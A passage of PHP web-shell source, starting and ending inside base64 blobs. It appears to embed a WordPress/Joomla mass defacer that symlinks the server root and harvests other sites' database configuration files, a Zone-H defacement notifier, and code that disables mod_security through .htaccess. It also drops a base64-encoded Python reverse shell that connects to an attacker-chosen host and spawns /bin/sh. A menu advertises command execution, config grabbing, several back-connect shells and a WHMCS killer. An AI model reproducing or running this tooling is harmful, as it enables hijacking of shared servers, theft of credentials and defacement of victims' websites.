gJzx0cj48dGQ+PGEgaHJlZj0iaHR0cDovLycuJHNpdGVfdXJsdG8uJyIgdGFyZ2V0PSJibGFuayI+Jy4kc2l0ZV91cmx0by4nPC9hPjwvdGQ+JzsNCmVjaG8gJzx0ZCBhbGlnbj0iY2VudGVyIj48Zm9udCBjb2xvcj0ieWVsbG93Ij5XT1JEUFJFU1M8L2ZvbnQ+PC90ZD4nOw0KJHJlcyA9IGluZGV4X2NoYW5nZXJfd3AoJHdvcmRwcmVzcywgJGluZGV4KTsNCmVjaG8gJzx0ZD4nLiRyZXNbJ291dHB1dCddLic8L3RkPic7DQppZigkcmVzWydjb25kJ10pIHsNCmVjaG8gJzx0ZCBhbGlnbj0iY2VudGVyIj48c3BhbiBjbGFzcz0iZ3JlZW4iPkRFRkFDRUQ8L3NwYW4+PC90ZD4nOw0KZndyaXRlKCRraGFsZWQsICdodHRwOi8vJy4kc2l0ZV91cmx0by4nL3dwLWNvbnRlbnQvdGhlbWVzLycuJHJlc1sndGVtcGxhdGUnXS4nL2luZGV4LnBocDxicj4nKTsNCiRjb3VudDIrKzsNCn0gZWxzZSB7DQplY2hvICc8dGQgYWxpZ249ImNlbnRlciI+PHNwYW4gY2xhc3M9InJlZCI+RkFJTEVEPC9zcGFuPjwvdGQ+JzsNCn0NCmVjaG8gJzwvdHI+JzsNCiAgICAgICAgfQ0KCQkNCi8vIHNlY29uZCB3b3JkcHJlc3MgZ3Vlc3MNCmlmKCR3b3JkcHJlc3MyICYmIHByZWdfbWF0Y2goJy9EQl9OQU1FL2knLCR3b3JkcHJlc3MyKSl7DQplY2hvICc8dHI+PHRkPjxhIGhyZWY9Imh0dHA6Ly8nLiRzaXRlX3VybHRvLiciIHRhcmdldD0iYmxhbmsiPicuJHNpdGVfdXJsdG8uJzwvYT48L3RkPic7DQplY2hvICc8dGQgYWxpZ249ImNlbnRlciI+PGZvbnQgY29sb3I9InllbGxvdyI+V09SRFBSRVNTPC9mb250PjwvdGQ+JzsNCiRyZXMgPSBpbmRleF9jaGFuZ2VyX3dwKCR3b3JkcHJlc3MyLCAkaW5kZXgpOw0KZWNobyAnPHRkPicuJHJlc1snb3V0cHV0J10uJzwvdGQ+JzsNCmlmKCRyZXNbJ2NvbmQnXSkgew0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxzcGFuIGNsYXNzPSJncmVlbiI+REVGQUNFRDwvc3Bhbj48L3RkPic7DQpmd3JpdGUoJGtoYWxlZCwgJ2h0dHA6Ly8nLiRzaXRlX3VybHRvLicvYmxvZy93cC1jb250ZW50L3RoZW1lcy8nLiRyZXNbJ3RlbXBsYXRlJ10uJy9pbmRleC5waHA8YnI+Jyk7DQokY291bnQyKys7DQp9IGVsc2Ugew0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxzcGFuIGNsYXNzPSJyZWQiPkZBSUxFRDwvc3Bhbj48L3RkPic7DQp9DQplY2hvICc8L3RyPic7DQogICAgICAgIH0NCgkJDQovLyB0aGlyZCB3b3JkcHJlc3MgZ3Vlc3MNCmlmKCR3b3JkcHJlc3MzICYmIHByZWdfbWF0Y2goJy9EQl9OQU1FL2knLCR3b3JkcHJlc3MzKSl7DQplY2hvICc8dHI+PHRkPjxhIGhyZWY9Imh0dHA6Ly8nLiRzaXRlX3VybHRvLiciIHRhcmdldD0iYmxhbmsiPicuJHNpdGVfdXJsdG8uJzwvYT48L3RkPic7DQplY2hvICc8dGQgYWxpZ249ImNlbnRlciI+PGZvbnQgY29sb3I9InllbGxvdyI+V09SRFBSRVNTPC9mb250PjwvdGQ+JzsNCiRyZXMgPSBpbmRleF9jaGFuZ2VyX3dwKCR3b3JkcHJlc3MzLCAkaW5kZXgpOw0KZWNobyAnPHRkPicuJHJlc1snb3V0cHV0J10uJzwvdGQ+JzsNCmlmKCRyZXNbJ2NvbmQnXSkgew0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxzcGFuIGNsYXNzPSJncmVlbiI+REVGQUNFRDwvc3Bhbj48L3RkPic7DQpmd3JpdGUoJGtoYWxlZCwgJ2h0dHA6Ly8nLiRzaXRlX3VybHRvLicvd3Avd3AtY29udGVudC90aGVtZXMvJy4kcmVzWyd0ZW1wbGF0ZSddLicvaW5kZXgucGhwPGJyPicpOw0KJGNvdW50MisrOw0KfSBlbHNlIHsNCmVjaG8gJzx0ZCBhbGlnbj0iY2VudGVyIj48c3BhbiBjbGFzcz0icmVkIj5GQUlMRUQ8L3NwYW4+PC90ZD4nOw0KfQ0KZWNobyAnPC90cj4nOw0KICAgICAgICB9DQoJDQp9DQplY2hvICc8L3RhYmxlPic7DQplY2hvICc8aHIvPic7DQplY2hvICdUb3RhbCBEZWZhY2VkID0gJy4oJGNvdW50MSskY291bnQyKS4nIChKT09NTEEgPSAnLiRjb3VudDEuJywgV09SRFBSRVNTID0gJy4kY291bnQyLicpPGJyIC8+JzsNCmVjaG8gJzxhIGhyZWY9ImRlZmFjZWQuaHRtbCIgdGFyZ2V0PSJfYmxhbmsiPlNob3cgQWxsPC9hPjxiciAvPic7DQp9DQoNCmVsc2VpZigkX1BPU1RbJ21vZGUnXT09MSkgew0KICAgIEBta2Rpcignc3ltJywwNzc3KTsNCiAgICAkd3IgID0gIk9wdGlvbnMgYWxsIFxuIERpcmVjdG9yeUluZGV4IFN1eC5odG1sIFxuIEFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIFxuIEFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwIFxuICBBZGRUeXBlIHRleHQvcGxhaW4gLmh0bWwgXG4gQWRkSGFuZGxlciB0eHQgLmh0bWwgXG4gUmVxdWlyZSBOb25lIFxuIFNhdGlzZnkgQW55IjsNCiAgICAkZnAgPSBAZm9wZW4gKCdzeW0vLmh0YWNjZXNzJywndycpOw0KICAgIGZ3cml0ZSgkZnAsICR3cik7DQogICAgQHN5bWxpbmsoJy8nLCdzeW0vcm9vdCcpOw0KICAgICRkb21pbmlvcyA9IEBmaWxlX2dldF9jb250ZW50cygiL2V0Yy9uYW1lZC5jb25mIik7DQogICAgQHByZWdfbWF0Y2hfYWxsKCcvLio/em9uZSAiKC4qPykiIHsvJywgJGRvbWluaW9zLCAkb3V0KTsNCiAgICAkb3V0WzFdID0gYXJyYXlfdW5pcXVlKCRvdXRbMV0pOw0KICAgICRudW1lcm9fZG9taW5pb3MgPSBjb3VudCgkb3V0WzFdKTsNCiAgICBlY2hvICJUb3RhbCBkb21haW5zOiAkbnVtZXJvX2RvbWluaW9zIDxicj48YnIgLz4iOw0KICAgICRkZWYgPSAkX1BPU1RbJ3R1bmlzaWEnXTsNCiAgICAkYmFzZV91cmwgPSAnaHR0cDovLycuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uZGlybmFtZSgkX1NFUlZFUlsnU0NSSVBUX05BTUUnXSkuJy9zeW0vcm9vdC9ob21lLyc7DQogICAgJG91dHB1dCA9IGZvcGVuKCdkZWZhY2VkLmh0bWwnLCAnYSsnKTsNCgllY2hvICgiPGNlbnRlcj48dGFibGUgY2xhc3M9J3Jlc3VsdCcgd2lkdGg9JzEwMCUnIGJvcmRlcj0xIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGluZz0xPiAgDQoJPHRyPjx0aCB3aWR0aD01MCU+ZG9tYWluPC90ZD48dGggd2lkdGg9MjUlPlR5cGU8L3RkPjx0aCB3aWR0aD0yNSU+U3RhdHVzPC90ZD48L3RyPiIpOyAgIA0KICAgJGogPSAxOw0KICAgICRzdCA9IChpc3NldCgkX0dFVFsnc3QnXSkgJiYgJF9HRVRbJ3N0J10hPScnKSA/ICRfR0VUWydzdCddIDogMDsNCiAgICBmb3IoJGkgPSAkc3Q7ICRpIDw9ICRudW1lcm9fZG9taW5pb3M7ICRpKyspDQogICAgew0KICAgICAgICAkZG9tYWluID0gJG91dFsxXVskaV07DQogICAgICAgICRkb25vX2FycXVpdm8gPSBAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGRvbWFpbik7DQogICAgICAgICRpbmZvcyA9IEBwb3NpeF9nZXRwd3VpZCgkZG9ub19hcnF1aXZvKTsNCiAgICAgICAgDQogICAgICAgIGlmKCRpbmZvc1snbmFtZSddIT0ncm9vdCcpIHsNCiRjb25maWcwMSA9IEBmaWxlX2dldF9jb250ZW50cygkYmFzZV91cmwuJGluZm9zWyduYW1lJ10uIi9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCIpOw0KJGNvbmZpZzAwMSA9IEBmaWxlX2dldF9jb250ZW50cygkYmFzZV91cmwuJGluZm9zWyduYW1lJ10uIi9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAiKTsNCiRjb25maWcwMiA9IEBmaWxlX2dldF9jb250ZW50cygkYmFzZV91cmwuJGluZm9zWyduYW1lJ10uIi9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwIik7DQokY29uZmlnMDMgPSBAZmlsZV9nZXRfY29udGVudHMoJGJhc2VfdXJsLiRpbmZvc1snbmFtZSddLiIvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwIik7DQoNCmlmKCRjb25maWcwMDEgJiYgcHJlZ19tYXRjaCgnL2RicHJlZml4L2knLCRjb25maWcwMDEpKXsNCmVjaG8gJzx0cj48dGQ+PGEgaHJlZj0iaHR0cDovLycuJGRvbWFpbi4nIiB0YXJnZXQ9ImJsYW5rIj4nLiRkb21haW4uJzwvYT48L3RkPic7DQplY2hvICc8dGQgYWxpZ249ImNlbnRlciI+PGZvbnQgY29sb3I9InBpbmsiPkpPT01MQTwvZm9udD48L3RkPic7DQokcmVzID0gaW5kZXhfY2hhbmdlcl9qb29tbGEoJGNvbmZpZzAwMSwgJGRlZiwgJGRvbWFpbik7DQplY2hvICc8dGQ+Jy4kcmVzWydvdXRwdXQnXS4nPC90ZD4nOw0KaWYoJHJlc1snY29uZCddKSB7DQplY2hvICc8dGQgYWxpZ249ImNlbnRlciI+PHNwYW4gY2xhc3M9ImdyZWVuIj5ERUZBQ0VEPC9zcGFuPjwvdGQ+JzsNCmZ3cml0ZSgkb3V0cHV0LCAnaHR0cDovLycuJGRvbWFpbi4iPGJyPiIpOw0KJGNvdW50MSA9ICRjb3VudCsxOw0KfSBlbHNlIHsNCmVjaG8gJzx0ZCBhbGlnbj0iY2VudGVyIj48c3BhbiBjbGFzcz0icmVkIj5GQUlMRUQ8L3NwYW4+PC90ZD4nOw0KfQ0KZWNobyAnPC90cj4nOw0KfQ0KICAgICAgICANCmlmKCRjb25maWcwMSAmJiBwcmVnX21hdGNoKCcvZGJwcmVmaXgvaScsJGNvbmZpZzAxKSl7DQplY2hvICc8dHI+PHRkPjxhIGhyZWY9Imh0dHA6Ly8nLiRkb21haW4uJyIgdGFyZ2V0PSJibGFuayI+Jy4kZG9tYWluLic8L2E+PC90ZD4nOw0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxmb250IGNvbG9yPSJwaW5rIj5KT09NTEE8L2ZvbnQ+PC90ZD4nOw0KJHJlcyA9IGluZGV4X2NoYW5nZXJfam9vbWxhKCRjb25maWcwMSwgJGRlZiwgJGRvbWFpbik7DQplY2hvICc8dGQ+Jy4kcmVzWydvdXRwdXQnXS4nPC90ZD4nOw0KaWYoJHJlc1snY29uZCddKSB7DQplY2hvICc8dGQgYWxpZ249ImNlbnRlciI+PHNwYW4gY2xhc3M9ImdyZWVuIj5ERUZBQ0VEPC9zcGFuPjwvdGQ+JzsNCmZ3cml0ZSgkb3V0cHV0LCAnaHR0cDovLycuJGRvbWFpbi4iPGJyPiIpOw0KJGNvdW50MSA9ICRjb3VudCsxOw0KfSBlbHNlIHsNCmVjaG8gJzx0ZCBhbGlnbj0iY2VudGVyIj48c3BhbiBjbGFzcz0icmVkIj5GQUlMRUQ8L3NwYW4+PC90ZD4nOw0KfQ0KZWNobyAnPC90cj4nOw0KfQ0KDQppZigkY29uZmlnMDIgJiYgcHJlZ19tYXRjaCgnL0RCX05BTUUvaScsJGNvbmZpZzAyKSl7DQplY2hvICc8dHI+PHRkPjxhIGhyZWY9Imh0dHA6Ly8nLiRkb21haW4uJyIgdGFyZ2V0PSJibGFuayI+Jy4kZG9tYWluLic8L2E+PC90ZD4nOw0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxmb250IGNvbG9yPSJ5ZWxsb3ciPldPUkRQUkVTUzwvZm9udD48L3RkPic7DQokcmVzID0gaW5kZXhfY2hhbmdlcl93cCgkY29uZmlnMDIsICRkZWYpOw0KZWNobyAnPHRkPicuJHJlc1snb3V0cHV0J10uJzwvdGQ+JzsNCmlmKCRyZXNbJ2NvbmQnXSkgew0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxzcGFuIGNsYXNzPSJncmVlbiI+REVGQUNFRDwvc3Bhbj48L3RkPic7DQpmd3JpdGUoJG91dHB1dCwgJ2h0dHA6Ly8nLiRkb21haW4uIjxicj4iKTsNCiRjb3VudDIgPSAkY291bnQyKzE7DQp9IGVsc2Ugew0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxzcGFuIGNsYXNzPSJyZWQiPkZBSUxFRDwvc3Bhbj48L3RkPic7DQp9DQplY2hvICc8L3RyPic7DQp9DQppZigkY29uZmlnMDMgJiYgcHJlZ19tYXRjaCgnL0RCX05BTUUvaScsJGNvbmZpZzAzKSl7DQplY2hvICc8dHI+PHRkPjxhIGhyZWY9Imh0dHA6Ly8nLiRkb21haW4uJyIgdGFyZ2V0PSJibGFuayI+Jy4kZG9tYWluLic8L2E+PC90ZD4nOw0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxmb250IGNvbG9yPSJ5ZWxsb3ciPldPUkRQUkVTUzwvZm9udD48L3RkPic7DQokcmVzID0gaW5kZXhfY2hhbmdlcl93cCgkY29uZmlnMDMsICRkZWYpOw0KZWNobyAnPHRkPicuJHJlc1snb3V0cHV0J10uJzwvdGQ+JzsNCmlmKCRyZXNbJ2NvbmQnXSkgew0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxzcGFuIGNsYXNzPSJncmVlbiI+REVGQUNFRDwvc3Bhbj48L3RkPic7DQpmd3JpdGUoJG91dHB1dCwgJ2h0dHA6Ly8nLiRkb21haW4uIjxicj4iKTsNCiRjb3VudDIgPSAkY291bnQyKzE7DQp9IGVsc2UgeyAgICANCmVjaG8gJzx0ZCBhbGlnbj0iY2VudGVyIj48c3BhbiBjbGFzcz0icmVkIj5GQUlMRUQ8L3NwYW4+PC90ZD4nOw0KfQ0KZWNobyAnPC90cj4nOw0KfQ0KICAgICAgICB9DQogICAgfQ0KICAgIGVjaG8gJzwvdGFibGU+JzsNCiAgICBlY2hvICc8aHIvPic7DQogICAgZWNobyAnVG90YWwgRGVmYWNlZCA9ICcuJGNvdW50MSArICRjb3VudDIuJyAoSk9PTUxBID0gJy4kY291bnQxLicsIFdPUkRQUkVTUyA9ICcuJGNvdW50Mi4nKTxiciAvPic7DQoJZWNobyAnPGEgaHJlZj0iZGVmYWNlZC5odG1sIiB0YXJnZXQ9Il9ibGFuayI+U2hvdyBBbGw8L2E+PGJyIC8+JzsNCn0NCmVsc2Ugew0KZWNobyAnDQo8dGFibGU+DQo8Zm9ybSBtZXRob2Q9InBvc3QiPg0KPHRyPg0KCTx0ZD5pbmRleCB1cmwgOiA8L3RkPg0KCTx0ZD48aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNjAiIG5hbWU9InR1bmlzaWEiIHBsYWNlaG9sZGVyPSJwdXQgeW91ciBpbmRleCB1cmwgaGVyZSAhIj48L3RkPg0KPC90cj4NCjx0cj4NCgk8dGQ+dXNlIDogPC90ZD4NCjwvdHI+DQo8dHI+DQoJPHRkPjxpbnB1dCB0eXBlPSJyYWRpbyIgdmFsdWU9IjEiIG5hbWU9Im1vZGUiPjwvdGQ+PHRkPi9ldGMvbmFtZWQuY29uZjwvdGQ+DQo8L3RyPg0KPHRyPg0KCTx0ZD48aW5wdXQgdHlwZT0icmFkaW8iIGNoZWNrZWQ9ImNoZWNrZWQiIHZhbHVlPSIyIiBuYW1lPSJtb2RlIj48L3RkPjx0ZD4vdmFyL25hbWVkPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGJyPjxjZW50ZXI+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0idHVuaXNpYV9kZWZhY2UiIHZhbHVlPSJEZWZhY2UiPjwvdGQ+DQo8L3RyPg0KPC9mb3JtPg0KPC9jZW50ZXI+DQo8L2JvZHk+DQo8L2h0bWw+DQonOw0KfQ0KPz4=\';
$file = fopen("massjmlawrdprsss.php" ,"w+");
$write = fwrite ($file ,base64_decode($gfgf4fff));
fclose($file);

echo "<br><center><span style=\'font-size:30px; font-family:Fredericka the Great; color:#009900\'>Wordpress & Joomla Mass Defacer</font></b><center><br><iframe src=massjmlawrdprsss.php width=75% height=60% frameborder=0></iframe></div></center>"; 
}


// tools
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'zone-h\' && !empty($_POST[\'hackmode\'])){
if($_POST[\'SendNowToZoneH\'])
{
echo \'<center>\';
ob_start();
$sub = get_loaded_extensions();
if(!in_array("curl", $sub)){die(\'[-] Curl Is Not Supported !! \');}
$hacker = $_POST[\'defacer\'];
$method = $_POST[\'hackmode\'];
$neden = $_POST[\'reason\'];
$site = $_POST[\'domain\'];
	
if (empty($hacker)){die ("[-] You Must Fill the Attacker name !");}
elseif($method == "--------SELECT--------") {die("[-] You Must Select The Method !");}
elseif($neden == "--------SELECT--------") {die("[-] You Must Select The Reason");}
elseif(empty($site)) {die("[-] You Must Inter the Sites List ! ");}
$i = 0;
$sites = explode("
", $site);
while($i < count($sites)) 
{
if(substr($sites[$i], 0, 4) != "http") {$sites[$i] = "http://".$sites[$i];}
ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
echo "Site : ".$sites[$i]." Defaced !
";
++$i;
}
echo "[+] Sending Sites To Zone-H Has Been Completed Successfully !! ";
}
echo \'</center>\';
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'pythnonbakcncete\'){
echo \'<center><b class="conte">
<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
<a href="?action=cmd">Command Execution</a> -
<a href="?action=com64">Base64 Command</a> -
<a href="?action=vgrab">Config Grabber</a> -
<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -    
<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
<a href="?action=cari">Find Directory Writable/Readable</a> -
<a href="?action=zonh">Zone-h Notifier</a> -
<a href="?action=shhhshell">Shtml Command Shell</a> -
<a href="?action=beko">Back connect Simple</a> -
<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
<a href="?action=prlbckacnonect">Perl BackConnect</a> -
<a href="?action=pythnonbakcncete">Python BackConnect</a> -
<a href="?action=exploit">Exploit</a> -
<a href="?action=whmcskillrer">Whcms Killer</a> -
<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
</center>
</b>\';

mkdir(\'pyrevrshell\', 0755);
chdir(\'pyrevrshell\');
$seropil = ".htaccess";
$angelinalll = "$seropil";
$shitttyz = fopen ($angelinalll , \'w\') or die ("shitttyz a&#231;&#305;lamad&#305;!");
$dffvfdgfg = "<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
</IfModule>";    
fwrite ( $shitttyz , $dffvfdgfg ) ;
fclose ($shitttyz);
//extract python reverse script
$vkffhd = \'IyEvdXNyL2Jpbi9weXRob24NCmltcG9ydCBzeXMNCmltcG9ydCBvcw0KaW1wb3J0IHNvY2tldA0KaW1wb3J0IHB0eQ0KIA0Kc2hlbGwgPSAiL2Jpbi9zaCINCiANCmRlZiB1c2FnZShwcm9ncmFtbmFtZSk6DQpwcmludCAieXRob24gY29ubmVjdC1iYWNrIGRvb3IiDQpwcmludCAiVXNhZ2U6ICVzIDxjb25uX2JhY2tfaXA+IDxwb3J0PiIgJSBwcm9ncmFtbmFtZQ0KIA0KZGVmIG1haW4oKToNCmlmIGxlbihzeXMuYXJndikgIT0zOg0KdXNhZ2Uoc3lzLmFyZ3ZbMF0pDQpzeXMuZXhpdCgxKQ0KIA0KcyA9IHNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKQ0KIA0KdHJ5Og0Kcy5jb25uZWN0KChzb2NrZXQuZ2V0aG9zdGJ5bmFtZShzeXMuYXJndlsxXSksaW50KHN5cy5hcmd2WzJdKSkpDQpwcmludCAiWytdQ29ubmVjdCBPSy4iDQpleGNlcHQ6DQpwcmludCAiWy1dQ2FuJ3QgY29ubmVjdCINCnN5cy5leGl0KDIpDQogDQpvcy5kdXAyKHMuZmlsZW5vKCksMCkNCm9zLmR1cDIocy5maWxlbm8oKSwxKQ0Kb3MuZHVwMihzLmZpbGVubygpLDIpDQpnbG9iYWwgc2hlbGwNCm9zLnVuc2V0ZW52KCJISVNURklMRSIpDQpvcy51bnNldGVudigiSElTVEZJTEVTSVpFIikNCnB0eS5zcGF3bihzaGVsbCkNCnMuY2xvc2UoKQ0KIA0KaWYgX19uYW1lX18gPT0gIl9fbWFpbl9fIjoNCm1haW4oKQ==\';

$jkol = fopen("reversesh.py" ,"w+");
$write = fwrite ($jkol ,base64_decode($vkffhd));
fclose($jkol);
chmod("reversesh.py",0755);

//extract php command shell
$merdeeeee = \'PGh0bWw+PGhlYWQ+PHRpdGxlPkFub25HaG9zdCBQeXRob24gQ29ubmVjdCBTaGVsbCBQcml2ODwvdGl0bGU+PGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJodHRwOi8vd3d3MTQuMHp6MC5jb20vMjAxNC8wNi8wNC8yMS8zOTY1NTQzOTQucG5nIiB0eXBlPSJpbWFnZS94LWljb24iIC8+PHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCmJvZHl7IGJhY2tncm91bmQtY29sb3I6ICMyMjIyMjIgIWltcG9ydGFudDsgY29sb3I6ICMwMDk5MDA7IHRleHQtc2hhZG93OiMwMDAgMHB4IDJweCA3cHg7fSAgICAgIGF7dGV4dC1kZWNvcmF0aW9uOm5vbmU7IGZvbnQtZmFtaWx5OiBUYWhvbWEsIEdlbmV2YTsgY29sb3I6IzAwNzcwMDsgcGFkZGluZzoycHggMnB4O30gICAgICBhOmhvdmVye2NvbG9yOiMwMDk5MDA7IHRleHQtc2hhZG93OiMwMGZmMDAgMHB4IDBweCAzcHg7fQkgIC5hcmVhIHsgY29sb3I6ICMwMGJiMDA7IGZvbnQtc2l6ZTogOXB0OyB0ZXh0LXNoYWRvdzojMDAwMDAwIDBweCAycHggN3B4OyBib3JkZXI6IHNvbGlkIDBweCAjMDA3NzAwOyBiYWNrZ3JvdW5kLWNvbG9yOnRyYW5zcGFyZW50OyBib3gtc2hhZG93OiAwcHggMHB4IDRweCAjMDA5OTAwOyAgICBwYWRkaW5nOiAzcHg7ICAgLXdlYmtpdC1ib3JkZXItcmFkaXVzOiA0cHg7ICAgLW1vei1ib3JkZXItcmFkaXVzOiA0cHg7ICAgYm9yZGVyLXJhZGl1czogNHB4OyAgIC13ZWJraXQtYm94LXNoYWRvdzogcmdiKDAsMTE5LDApIDBweCAwcHggNHB4OyAgIC1tb3otYm94LXNoYWRvdzogcmdiKDAsMTE5LDApIDBweCAwcHggNHB4OyB9CSAgaW5wdXRbdHlwZT1zdWJtaXRdeyBwYWRkaW5nOiAzcHg7IGNvbG9yOiAjMDA3NzA7ICBmb250LXdlaWdodDogYm9sZDsgdGV4dC1hbGlnbjogY2VudGVyOyAgdGV4dC1zaGFkb3c6IDAgMXB4IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC4zKTsgIGJhY2tncm91bmQ6ICNhZWFlYWU7ICBiYWNrZ3JvdW5kLWNsaXA6IHBhZGRpbmctYm94OyAgYm9yZGVyOiAxcHggc29saWQgIzI4NDQ3MzsgIGJvcmRlci1ib3R0b20tY29sb3I6ICMyMjNiNjY7ICBib3JkZXItcmFkaXVzOiA0cHg7ICBjdXJzb3I6IHBvaW50ZXI7ICBiYWNrZ3JvdW5kLWltYWdlOi13ZWJraXQtbGluZWFyLWdyYWRpZW50KHRvcCwgI2VhZWFlYSwgI2QwZDBkMCk7ICBiYWNrZ3JvdW5kLWltYWdlOiAtbW96LWxpbmVhci1ncmFkaWVudCh0b3AsICNlYWVhZWEsICNkMGQwZDApOyAgYmFja2dyb3VuZC1pbWFnZTogLW8tbGluZWFyLWdyYWRpZW50KHRvcCwgI2VhZWFlYSwgI2QwZDBkMCk7ICBiYWNrZ3JvdW5kLWltYWdlOiBsaW5lYXItZ3JhZGllbnQodG8gYm90dG9tLCAjZWFlYWVhLCAjZDBkMGQwKTsgIC13ZWJraXQtYm94LXNoYWRvdzogaW5zZXQgMCAxcHggcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjUpLCBpbnNldCAwIDAgN3B4IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC40KSwgMCAxcHggMXB4IHJnYmEoMCwgMCwgMCwgMC4xNSk7ICBib3gtc2hhZG93OiBpbnNldCAwIDFweCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuNSksIGluc2V0IDAgMCA3cHggcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjQpLCAwIDFweCAxcHggcmdiYSgwLCAwLCAwLCAwLjE1KTsgfSBpbnB1dFt0eXBlPXRleHRdeyBwYWRkaW5nOiAzcHg7IGNvbG9yOiAjMDA5OTAwOyB0ZXh0LXNoYWRvdzogIzc3Nzc3NyAwcHggMHB4IDNweDsgYm9yZGVyOiAxcHggc29saWQgIzAwNzcwMDsgYmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7IGJveC1zaGFkb3c6IDBweCAwcHggNHB4ICMwMDc3MDA7ICAgIHBhZGRpbmc6IDNweDsgICAtd2Via2l0LWJvcmRlci1yYWRpdXM6IDRweDsgICAtbW96LWJvcmRlci1yYWRpdXM6IDRweDsgICBib3JkZXItcmFkaXVzOiA0cHg7ICAgLXdlYmtpdC1ib3gtc2hhZG93OiByZ2IoODUsODUsODUpIDBweCAwcHggNHB4OyAgIC1tb3otYm94LXNoYWRvdzogcmdiKDg1LDg1LDg1KSAwcHggMHB4IDRweDt9IGlucHV0W3R5cGU9c3VibWl0XTpob3ZlciwgaW5wdXRbdHlwZT10ZXh0XTpob3ZlcnsgY29sb3I6ICNmZmZmZmY7IHRleHQtc2hhZG93OiAjMDA2NjAwIDBweCAwcHggNHB4OyBib3gtc2hhZG93OiAwcHggMHB4IDRweCAjMDBkZDAwOyBib3JkZXI6IDFweCBzb2xpZCAjMDBkZDAwOyAgICBwYWRkaW5nOiAzcHg7ICAgLXdlYmtpdC1ib3JkZXItcmFkaXVzOiA0cHg7ICAgLW1vei1ib3JkZXItcmFkaXVzOiA0cHg7ICAgYm9yZGVyLXJhZGl1czogNHB4OyAgIC13ZWJraXQtYm94LXNoYWRvdzogcmdiYSgwLDExOSwwKSAwcHggMHB4IDRweDsgICAtbW96LWJveC1zaGFkb3c6IHJnYmEoMCwxMTksMCkgMHB4IDBweCA0cHg7fSBzZWxlY3R7IHBhZGRpbmc6IDNweDsgd2lkdGg6IDE2MnB4OyBjb2xvcjogIzAwYWEwMDsgdGV4dC1zaGFkb3c6IzAwMCAwcHggMnB4IDdweDsgYm9yZGVyOiAxcHggc29saWQgIzAwNzcwMDsgYmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgYm94LXNoYWRvdzogMHB4IDBweCA0cHggIzAwYWEwMDsgIHBhZGRpbmc6IDNweDsgICAtd2Via2l0LWJvcmRlci1yYWRpdXM6IDRweDsgICAtbW96LWJvcmRlci1yYWRpdXM6IDRweDsgICBib3JkZXItcmFkaXVzOiA0cHg7ICAgLXdlYmtpdC1ib3gtc2hhZG93OiByZ2IoODUsIDg1LCA4NSkgMHB4IDBweCA0cHg7ICAgLW1vei1ib3gtc2hhZG93OiByZ2IoODUsIDg1LCA4NSkgMHB4IDBweCA0cHg7fSBzZWxlY3Q6aG92ZXJ7IGJvcmRlcjogMXB4IHNvbGlkICMwMGRkMDA7IGJveC1zaGFkb3c6IDBweCAwcHggNHB4ICMwMGRkMDA7ICAgcGFkZGluZzogM3B4OyAgIC13ZWJraXQtYm9yZGVyLXJhZGl1czogNHB4OyAgIC1tb3otYm9yZGVyLXJhZGl1czogNHB4OyAgIGJvcmRlci1yYWRpdXM6IDRweDsgICAtd2Via2l0LWJveC1zaGFkb3c6IHJnYmEoMCwxMTksMCkgMHB4IDBweCA0cHg7ICAgLW1vei1ib3gtc2hhZG93OiByZ2JhKDAsMTE5LDApIDBweCAwcHggNHB4O30gICAjY29tbWFuZHN7IG1hcmdpbi1sZWZ0OiAzNTBweDsgbWFyZ2luLXJpZ2h0OiAzNTBweDsgfSBvcHRpb257IGNvbG9yOiAjNzc3Nzc3OyB9PC9zdHlsZT4NCjw/cGhwDQplY2hvICc8Y2VudGVyPjxmb250IGNvbG9yPSIjMDA3NzAwIiBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEycHQiPlVzYWdlOiByZXZlcnNlc2gucHkgW0hvc3RdIFtQb3J0XTwvZm9udD4nOw0KZWNobyc8cCBhbGlnbj0iY2VudGVyIj4gDQo8aW1nIGJvcmRlcj0iMCIgc3JjPSJodHRwOi8vd3d3MTAuMHp6MC5jb20vMjAxNC8wOC8yMC8yMC8yMjU4M